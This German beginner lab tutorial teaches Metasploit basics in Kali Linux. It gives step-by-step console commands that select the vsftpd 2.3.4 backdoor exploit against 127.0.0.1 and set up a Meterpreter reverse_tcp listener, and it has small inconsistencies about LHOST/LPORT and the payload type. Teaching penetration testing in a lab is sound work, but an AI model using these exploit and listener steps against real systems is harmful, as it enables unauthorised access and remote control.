Kali-Exploitation mit Metasploit

Kali LinuxBeginner
Jetzt üben

Einführung

In diesem Lab lernen Sie die Grundlagen von Penetrationstests mit Kali Linux in einer kontrollierten Umgebung auf der LabEx-VM kennen. Der Schwerpunkt liegt auf der Nutzung des leistungsstarken Metasploit Frameworks, um Schwachstellen zu identifizieren, Payloads zu konfigurieren, Exploits auszuführen und über eine Meterpreter-Sitzung mit kompromittierten Systemen zu interagieren. Dieses Lab wurde für Anfänger konzipiert und führt Sie Schritt für Schritt durch grundlegende Cybersicherheitstechniken in einer sicheren und strukturierten Umgebung. Wenn Sie das Terminal öffnen, werden Sie automatisch mit der Shell des Kali Linux-Containers verbunden und können sofort mit dem Üben beginnen, ohne den Container manuell starten oder betreten zu müssen.

Starten des Metasploit Frameworks

In diesem ersten Schritt starten Sie das Metasploit Framework, ein zentrales Werkzeug für Penetrationstests in Kali Linux. Dieser Schritt ist unerlässlich, da er die Umgebung für die Identifizierung und Ausnutzung von Schwachstellen in den späteren Schritten vorbereitet.

Wenn Sie das Terminal in der LabEx-VM öffnen, werden Sie automatisch mit der Shell des Kali Linux-Containers verbunden. Sie müssen den Container nicht manuell starten oder die Shell betreten; die Umgebung ist bereits für Sie konfiguriert.

Bevor Sie Metasploit verwenden, müssen Sie sicherstellen, dass es im Kali Linux-Container installiert ist. Aktualisieren Sie zunächst die Paketliste, indem Sie den folgenden Befehl im Terminal eingeben und Enter drücken:

apt update

Installieren Sie anschließend das Metasploit Framework. Diese Installation kann einige Minuten dauern, bitte warten Sie, bis sie abgeschlossen ist.

apt install -y metasploit-framework

Sobald die Installation abgeschlossen ist, starten Sie die Metasploit-Konsole, indem Sie den folgenden Befehl eingeben und Enter drücken:

msfconsole

Wenn Sie diesen Befehl zum ersten Mal ausführen, kann die Initialisierung einen Moment dauern, da die Datenbank eingerichtet und Module geladen werden. Sie sehen ein ASCII-Art-Banner und eine Eingabeaufforderung ähnlich dieser, wenn Metasploit startet:

Metasploit Framework
...
msf6 >

Die Eingabeaufforderung msf6 > zeigt an, dass Sie sich nun in der Metasploit-Konsole befinden und bereit sind, mit dem Framework zu interagieren. Beenden Sie die Konsole nicht, da Sie sie im nächsten Schritt verwenden werden, um nach einem Exploit zu suchen und diesen auszuwählen.

Suchen und Auswählen eines Exploits

Nachdem Sie das Metasploit Framework gestartet haben, besteht der nächste Schritt darin, einen Exploit zu suchen und auszuwählen. Ein Exploit ist ein Programmcode, der eine Software-Schwachstelle ausnutzt, um ein unbeabsichtigtes Verhalten zu erzwingen, wie beispielsweise das Erlangen unbefugten Zugriffs.

Da Sie sich bereits in der Metasploit-Konsole befinden (mit der Eingabeaufforderung msf6 >), suchen wir nach einem Exploit für FTP (File Transfer Protocol), einen gängigen Dienst, der anfällig sein kann. Geben Sie den folgenden Befehl ein und drücken Sie Enter:

search ftp

Dieser Befehl listet Exploits und Hilfsmodule (Auxiliary Modules) auf, die sich auf FTP beziehen. Die Ausgabe zeigt eine Tabelle der passenden Module.

Matching Modules
================

   ##  Name                                           Disclosure Date  Rank       Check  Description
   -  ----                                           ---------------  ----       -----  -----------
   0  exploit/unix/ftp/vsftpd_234_backdoor          2011-07-03       excellent  No     VSFTPD v2.3.4 Backdoor Command Execution
   1  auxiliary/scanner/ftp/ftp_version                              normal     No     FTP Version Scanner
   2  auxiliary/scanner/ftp/anonymous                                normal     No     FTP Anonymous Access Scanner
...

Für dieses Lab verwenden wir den Exploit vsftpd_234_backdoor. Um ihn auszuwählen, verwenden Sie den Befehl use, gefolgt vom Namen des Exploits.

use exploit/unix/ftp/vsftpd_234_backdoor

Nachdem Sie den Exploit ausgewählt haben, ändert sich Ihre Eingabeaufforderung und enthält nun den Namen des Exploits, was anzeigt, dass dies das aktive Modul ist.

msf6 exploit(unix/ftp/vsftpd_234_backdoor) >

Um detaillierte Informationen über den ausgewählten Exploit zu erhalten, einschließlich seiner Optionen und Anforderungen, geben Sie den Befehl info ein.

info

Die Ausgabe liefert Details wie Plattform, Architektur und verfügbare Ziele.

       Name: VSFTPD v2.3.4 Backdoor Command Execution
     Module: exploit/unix/ftp/vsftpd_234_backdoor
   Platform: Unix
       Arch: cmd
 Privileged: Yes
    License: Metasploit Framework License (BSD)
       Rank: Excellent
  Disclosed: 2011-07-03

Sie haben nun erfolgreich einen Exploit ausgewählt. Im nächsten Schritt konfigurieren Sie eine Payload für diesen Exploit.

Hinweis: Labby kann die Vorgänge in der msf-Shell nicht erfassen, daher werden die folgenden Schritte nicht verifiziert.

Konfigurieren des Exploits und der Payload

Nachdem der Exploit ausgewählt ist, müssen Sie nun dessen Optionen konfigurieren und eine Payload festlegen. Eine Payload ist der Code, der auf dem Zielsystem ausgeführt wird, nachdem der Exploit erfolgreich war. Für dieses Lab konfigurieren Sie eine interaktive Befehls-Shell-Payload, mit der Sie Befehle auf dem Zielsystem ausführen können.

Wichtig: Bevor Sie eine Payload festlegen, ist es entscheidend zu prüfen, welche Payloads mit Ihrem ausgewählten Exploit kompatibel sind. Verwenden Sie den folgenden Befehl, um alle kompatiblen Payloads anzuzeigen:

show payloads

Dies zeigt eine Liste der Payloads an, die mit dem Exploit vsftpd_234_backdoor funktionieren. Sie sollten nur eine kompatible Payload sehen: cmd/unix/interact.

Legen Sie zunächst die Payload fest. Wir verwenden die interaktive Befehls-Shell, die mit diesem Exploit kompatibel ist. Der Payload-Name cmd/unix/interact folgt einer spezifischen Struktur: <Architektur>/<Plattform>/<Typ>. Hier steht cmd für eine Befehls-Shell-Architektur, unix spezifiziert die Zielplattform und interact bedeutet, dass eine interaktive Sitzung bereitgestellt wird.

set payload cmd/unix/interact

Sie erhalten eine Bestätigungsmeldung.

payload => cmd/unix/interact

Als Nächstes müssen Sie die Exploit-Optionen konfigurieren. Die Option RHOST (Remote Host) gibt die IP-Adresse der Zielmaschine an. Für diese Simulation setzen wir sie auf 127.0.0.1.

set RHOST 127.0.0.1

Wichtiger Hinweis: Im Gegensatz zu Reverse-Shell-Payloads erfordert die Payload cmd/unix/interact keine LHOST- oder LPORT-Einstellungen. Diese Payload baut direkt eine interaktive Befehlssitzung mit dem Ziel auf.

Um alle Einstellungen zu überprüfen, verwenden Sie den Befehl show options.

show options

Dies zeigt eine Tabelle der Optionen für den Exploit an. Überprüfen Sie, ob RHOST korrekt gesetzt ist.

Module options (exploit/unix/ftp/vsftpd_234_backdoor):

   Name     Current Setting  Required  Description
   ----     ---------------  --------  -----------
   RHOSTS   127.0.0.1        yes       The target host(s), range CIDR identifier, or hosts file with syntax 'file:<path>'
   RPORT    21               yes       The target port (TCP)

Ihr Exploit und Ihre Payload sind nun konfiguriert und bereit für die Ausführung im nächsten Schritt.

Ausführen des Exploits

Nachdem Sie den Exploit und die Payload konfiguriert haben, sind Sie nun bereit, diese auszuführen. Der Befehl exploit weist Metasploit an, den Angriff gegen das angegebene Ziel (RHOST) zu starten.

Geben Sie in Ihrer Metasploit-Konsole einfach den folgenden Befehl ein und drücken Sie Enter:

exploit

Metasploit wird versuchen, den Exploit auszuführen. Da in dieser Lab-Umgebung kein tatsächlich anfälliger VSFTPD-Dienst auf 127.0.0.1 läuft, wird der Exploit fehlschlagen. Dies ist zu erwarten und demonstriert den Prozess des Startens eines Angriffs.

Die Ausgabe zeigt, dass Metasploit versucht hat, eine Verbindung zum Ziel-FTP-Dienst herzustellen, dies jedoch fehlgeschlagen ist, da der Dienst nicht läuft:

[-] 127.0.0.1:21 - Exploit failed [unreachable]: Rex::ConnectionRefused The connection was refused by the remote host (127.0.0.1:21).
[*] Exploit completed, but no session was created.

Hinweis: Bei der Payload cmd/unix/interact würden Sie keinen Reverse-Shell-Listener sehen, der gestartet wird. Stattdessen würde diese Payload versuchen, eine direkte interaktive Befehlssitzung mit dem Ziel-FTP-Dienst aufzubauen, falls dieser anfällig und erreichbar wäre.

Die Meldung Exploit completed, but no session was created bestätigt das Fehlschlagen. In einem erfolgreichen Szenario mit einem anfälligen VSFTPD-Dienst würde dies eine interaktive Befehls-Shell-Sitzung aufbauen, die es Ihnen ermöglicht, Befehle direkt auf dem Zielsystem auszuführen. Dieser Schritt vermittelt Ihnen den grundlegenden Befehl zum Starten eines Exploits, was ein Kernbestandteil des Penetrationstest-Workflows ist.

Einrichten eines Meterpreter-Listeners

In diesem letzten Schritt lernen Sie, wie Sie einen Listener für eine Meterpreter-Payload einrichten. Meterpreter ist eine fortschrittliche, funktionsreiche Payload, die eine interaktive Shell auf dem Zielsystem bereitstellt. Anstatt einen Exploit zu starten, verwenden Sie das Modul exploit/multi/handler, um auf eingehende Verbindungen zu warten. Dies ist nützlich, wenn ein Exploit auf anderem Wege (z. B. über eine schädliche Datei) übermittelt wird und Sie die Reverse-Verbindung abfangen müssen.

Wechseln Sie zunächst zum Modul multi/handler.

use exploit/multi/handler

Ihre Eingabeaufforderung ändert sich, um das neue Modul widerzuspiegeln.

msf6 exploit(multi/handler) >

Legen Sie als Nächstes eine Meterpreter-Payload fest. Wir verwenden eine, die für Linux-Systeme entwickelt wurde. Der Payload-Name linux/x86/meterpreter/reverse_tcp folgt einer logischen Struktur: <Plattform>/<Architektur>/<Typ>/<Protokoll>. Er spezifiziert eine Linux-Plattform, x86-Architektur, einen Meterpreter-Payload-Typ und ein Reverse-TCP-Verbindungsprotokoll.

set payload linux/x86/meterpreter/reverse_tcp

Konfigurieren Sie nun die Listener-Optionen LHOST und LPORT, genau wie Sie es zuvor getan haben.

set LHOST 127.0.0.1

Hinweis: Möglicherweise sehen Sie eine Warnmeldung bezüglich der Bindung an eine Loopback-Adresse. Dies ist normal, wenn localhost (127.0.0.1) verwendet wird, und kann für dieses Lab ignoriert werden.

set LPORT 4444

Starten Sie schließlich den Listener mit dem Befehl exploit.

exploit

Metasploit startet einen Listener auf der angegebenen IP und dem Port und wartet darauf, dass eine Meterpreter-Sitzung eine Verbindung herstellt.

[*] Started reverse TCP handler on 127.0.0.1:4444

Die Konsole bleibt aktiv und wartet auf eine Verbindung. In einem realen Szenario, wenn eine Zielmaschine die entsprechende Meterpreter-Payload ausführen würde, würde hier eine Sitzung aufgebaut werden. Da in diesem Lab kein Ziel eine Verbindung herstellen wird, können Sie den Listener durch Drücken von Ctrl + C stoppen.

Um die Metasploit-Konsole zu verlassen, geben Sie exit ein und drücken Sie Enter.

Zusammenfassung

In diesem Lab haben Sie die grundlegenden Schritte von Penetrationstests mit Kali Linux und dem Metasploit Framework kennengelernt. Sie haben mit dem Starten von Metasploit begonnen, nach einem Exploit gesucht und diesen ausgewählt, sowohl den Exploit als auch eine Reverse-Shell-Payload konfiguriert und den Angriff in einer simulierten Umgebung ausgeführt. Sie haben außerdem gelernt, wie man einen eigenständigen Listener für eine fortschrittliche Meterpreter-Payload einrichtet. Diese Schritte bieten eine praktische Einführung in den Kern-Workflow der Identifizierung von Schwachstellen, der Vorbereitung von Payloads und dem Verständnis des Exploitation-Prozesses. Durch das Befolgen dieses strukturierten Ansatzes haben Sie praktische Erfahrungen mit grundlegenden Cybersicherheitswerkzeugen und -techniken gesammelt.